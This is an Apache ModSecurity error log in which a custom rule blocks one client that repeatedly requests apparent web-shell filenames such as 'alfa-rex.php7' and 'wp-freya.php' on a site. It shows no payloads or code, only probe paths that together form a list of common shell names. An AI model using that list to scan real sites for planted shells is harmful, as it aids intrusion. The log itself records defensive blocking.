[Mon Mar 02 00:08:44.848246 2026] [:error] [pid 7165:tid 7167] [client 4.204.200.32:29886] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaRkjBRjCrA8qWBjgG_fMQAAAkA"]
[Mon Mar 02 00:08:45.734344 2026] [:error] [pid 38241:tid 38261] [client 4.204.200.32:58756] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaRkjfKRPk6YnJBxw_xjVAAAANE"]
[Mon Mar 02 00:08:47.190167 2026] [:error] [pid 44644:tid 44667] [client 4.204.200.32:56968] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bb.php"] [unique_id "aaRkj53RJaXMcw3y9V_wgQAAABQ"]
[Mon Mar 02 00:08:50.323486 2026] [:error] [pid 44644:tid 44663] [client 4.204.200.32:29847] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bb.php"] [unique_id "aaRkkp3RJaXMcw3y9V_whgAAABA"]
[Mon Mar 02 00:08:51.840572 2026] [:error] [pid 40750:tid 40774] [client 4.204.200.32:57012] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bb.php"] [unique_id "aaRkkwfBuk03yQKDyqu33gAAAdU"]
[Mon Mar 02 00:08:53.717096 2026] [:error] [pid 44644:tid 44658] [client 4.204.200.32:29851] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bb.php"] [unique_id "aaRklZ3RJaXMcw3y9V_wjAAAAAs"]
[Mon Mar 02 00:08:55.431773 2026] [:error] [pid 41342:tid 41353] [client 4.204.200.32:62172] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaRkl44iJ6RAS5CatDlrIgAAAgg"]
[Mon Mar 02 00:08:58.868790 2026] [:error] [pid 41780:tid 41806] [client 4.204.200.32:57023] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaRkmsONkVoocLIqzy07IwAAA9c"]
[Mon Mar 02 00:09:02.621244 2026] [:error] [pid 7165:tid 7180] [client 4.204.200.32:62792] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaRknhRjCrA8qWBjgG_fUQAAAk0"]
[Mon Mar 02 00:09:04.127524 2026] [:error] [pid 33822:tid 33838] [client 4.204.200.32:29877] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaRkoG6W3ygu1YVssuZL6QAAAo4"]
[Mon Mar 02 00:09:05.232073 2026] [:error] [pid 7165:tid 7173] [client 4.204.200.32:57010] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guk.php"] [unique_id "aaRkoRRjCrA8qWBjgG_faAAAAkY"]
[Mon Mar 02 00:09:06.230208 2026] [:error] [pid 38034:tid 38048] [client 4.204.200.32:52330] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guk.php"] [unique_id "aaRkogxtfZjwlJok9K85MgAAAQo"]
[Mon Mar 02 00:09:08.307590 2026] [:error] [pid 7133:tid 7145] [client 4.204.200.32:24420] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guk.php"] [unique_id "aaRkpPCtubh8pR64qB-ETAAAAEo"]
[Mon Mar 02 00:09:09.203224 2026] [:error] [pid 33822:tid 33844] [client 4.204.200.32:56993] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/guk.php"] [unique_id "aaRkpW6W3ygu1YVssuZL9AAAApQ"]
[Mon Mar 02 00:09:11.180528 2026] [:error] [pid 7133:tid 7142] [client 4.204.200.32:29855] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaRkp_Ctubh8pR64qB-EWAAAAEc"]
[Mon Mar 02 00:09:14.655203 2026] [:error] [pid 40750:tid 40760] [client 4.204.200.32:52327] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaRkqgfBuk03yQKDyqu4GQAAAcc"]
[Mon Mar 02 00:09:17.660042 2026] [:error] [pid 40750:tid 40776] [client 4.204.200.32:62177] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaRkrQfBuk03yQKDyqu4LQAAAdc"]
[Mon Mar 02 00:09:20.609364 2026] [:error] [pid 40750:tid 40770] [client 4.204.200.32:29870] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aaRksAfBuk03yQKDyqu4PQAAAdE"]
[Mon Mar 02 00:09:22.232983 2026] [:error] [pid 38241:tid 38262] [client 4.204.200.32:56989] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ze.php"] [unique_id "aaRksvKRPk6YnJBxw_xjjwAAANI"]
[Mon Mar 02 00:09:26.608234 2026] [:error] [pid 7165:tid 7181] [client 4.204.200.32:52291] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ze.php"] [unique_id "aaRkthRjCrA8qWBjgG_fnwAAAk4"]
[Mon Mar 02 00:09:27.781896 2026] [:error] [pid 37032:tid 37057] [client 4.204.200.32:62171] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ze.php"] [unique_id "aaRkt-u0U4o7eSImsVSZrAAAAZc"]
[Mon Mar 02 00:10:39.787723 2026] [:error] [pid 7133:tid 7145] [client 4.204.200.32:56975] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaRk__Ctubh8pR64qB-E5QAAAEo"]
[Mon Mar 02 00:10:40.682600 2026] [:error] [pid 7165:tid 7175] [client 4.204.200.32:30194] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaRlABRjCrA8qWBjgG_gpwAAAkg"]
[Mon Mar 02 00:10:43.143868 2026] [:error] [pid 40750:tid 40754] [client 4.204.200.32:29832] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaRlAwfBuk03yQKDyqu5KAAAAcE"]
[Mon Mar 02 00:10:45.896923 2026] [:error] [pid 7165:tid 7176] [client 4.204.200.32:56970] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aaRlBRRjCrA8qWBjgG_gswAAAkk"]
[Mon Mar 02 00:10:46.836205 2026] [:error] [pid 7165:tid 7183] [client 4.204.200.32:29828] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaRlBhRjCrA8qWBjgG_gtwAAAlA"]
[Mon Mar 02 00:10:48.592217 2026] [:error] [pid 40750:tid 40770] [client 4.204.200.32:64917] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaRlCAfBuk03yQKDyqu5LgAAAdE"]
[Mon Mar 02 00:10:50.165346 2026] [:error] [pid 37032:tid 37057] [client 4.204.200.32:30159] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaRlCuu0U4o7eSImsVSZ3QAAAZc"]
[Mon Mar 02 00:10:51.196042 2026] [:error] [pid 38241:tid 38268] [client 4.204.200.32:29831] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rum.php"] [unique_id "aaRlC_KRPk6YnJBxw_xkGgAAANg"]
[Mon Mar 02 00:10:51.964600 2026] [:error] [pid 33822:tid 33838] [client 4.204.200.32:64087] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaRlC26W3ygu1YVssuZM1QAAAo4"]
[Mon Mar 02 00:10:53.087103 2026] [:error] [pid 7165:tid 7173] [client 4.204.200.32:56961] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaRlDRRjCrA8qWBjgG_gxgAAAkY"]
[Mon Mar 02 00:10:54.774721 2026] [:error] [pid 33822:tid 33846] [client 4.204.200.32:29887] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaRlDm6W3ygu1YVssuZM2QAAApY"]
[Mon Mar 02 00:10:56.560239 2026] [:error] [pid 7165:tid 7179] [client 4.204.200.32:64914] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aaRlEBRjCrA8qWBjgG_gzgAAAkw"]
[Mon Mar 02 00:10:58.467232 2026] [:error] [pid 7165:tid 7185] [client 4.204.200.32:29833] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaRlEhRjCrA8qWBjgG_g0gAAAlI"]
[Mon Mar 02 00:11:00.715802 2026] [:error] [pid 7165:tid 7184] [client 4.204.200.32:30207] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaRlFBRjCrA8qWBjgG_g1wAAAlE"]
[Mon Mar 02 00:11:06.105865 2026] [:error] [pid 33822:tid 33830] [client 4.204.200.32:64900] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaRlGm6W3ygu1YVssuZM6AAAAoY"]
[Mon Mar 02 00:11:07.209454 2026] [:error] [pid 41342:tid 41352] [client 4.204.200.32:64075] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wio.php"] [unique_id "aaRlG44iJ6RAS5CatDlrOwAAAgc"]
[Mon Mar 02 00:11:16.264427 2026] [:error] [pid 33822:tid 33827] [client 4.204.200.32:30149] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaRlJG6W3ygu1YVssuZM8AAAAoM"]
[Mon Mar 02 00:11:17.846914 2026] [:error] [pid 40750:tid 40771] [client 4.204.200.32:64101] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaRlJQfBuk03yQKDyqu5RAAAAdI"]
[Mon Mar 02 00:11:21.187588 2026] [:error] [pid 33822:tid 33833] [client 4.204.200.32:57022] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aaRlKW6W3ygu1YVssuZM8wAAAok"]
[Mon Mar 02 00:11:22.836679 2026] [:error] [pid 44644:tid 44656] [client 4.204.200.32:29842] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaRlKp3RJaXMcw3y9V_wwgAAAAk"]
[Mon Mar 02 00:11:25.030311 2026] [:error] [pid 41342:tid 41367] [client 4.204.200.32:64944] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaRlLY4iJ6RAS5CatDlrPgAAAhY"]
[Mon Mar 02 00:11:27.055157 2026] [:error] [pid 33822:tid 33841] [client 4.204.200.32:30156] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaRlL26W3ygu1YVssuZM-gAAApE"]
[Mon Mar 02 00:11:28.309572 2026] [:error] [pid 7165:tid 7179] [client 4.204.200.32:64951] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaRlMBRjCrA8qWBjgG_hEAAAAkw"]
[Mon Mar 02 00:11:32.038776 2026] [:error] [pid 7133:tid 7154] [client 4.204.200.32:56979] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaRlNPCtubh8pR64qB-FEgAAAFM"]
[Mon Mar 02 00:11:33.131518 2026] [:error] [pid 38241:tid 38262] [client 4.204.200.32:24433] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaRlNfKRPk6YnJBxw_xkgQAAANI"]
[Mon Mar 02 00:11:36.705507 2026] [:error] [pid 7165:tid 7181] [client 4.204.200.32:64069] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws62.php"] [unique_id "aaRlOBRjCrA8qWBjgG_hGgAAAk4"]
[Mon Mar 02 00:12:26.845818 2026] [:error] [pid 38241:tid 38262] [client 4.204.200.32:56966] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaRlavKRPk6YnJBxw_xkzgAAANI"]
[Mon Mar 02 00:12:28.691935 2026] [:error] [pid 40750:tid 40771] [client 4.204.200.32:64911] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaRlbAfBuk03yQKDyqu6AQAAAdI"]
[Mon Mar 02 00:12:30.461232 2026] [:error] [pid 7165:tid 7179] [client 4.204.200.32:64908] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaRlbhRjCrA8qWBjgG_hsAAAAkw"]
[Mon Mar 02 00:12:32.768239 2026] [:error] [pid 7165:tid 7184] [client 4.204.200.32:29839] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bes.php"] [unique_id "aaRlcBRjCrA8qWBjgG_htgAAAlE"]
[Mon Mar 02 00:12:34.061199 2026] [:error] [pid 7165:tid 7169] [client 4.204.200.32:64085] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaRlchRjCrA8qWBjgG_hvQAAAkI"]
[Mon Mar 02 00:12:37.284232 2026] [:error] [pid 40750:tid 40753] [client 4.204.200.32:64937] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaRldQfBuk03yQKDyqu6JgAAAcA"]
[Mon Mar 02 00:12:38.512297 2026] [:error] [pid 38241:tid 38246] [client 4.204.200.32:64073] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaRldvKRPk6YnJBxw_xk0QAAAMI"]
[Mon Mar 02 00:12:39.701211 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:64941] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaRld_KRPk6YnJBxw_xk0gAAANM"]
[Mon Mar 02 00:12:40.472593 2026] [:error] [pid 41780:tid 41785] [client 4.204.200.32:64910] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaRleMONkVoocLIqzy07ZgAAA8I"]
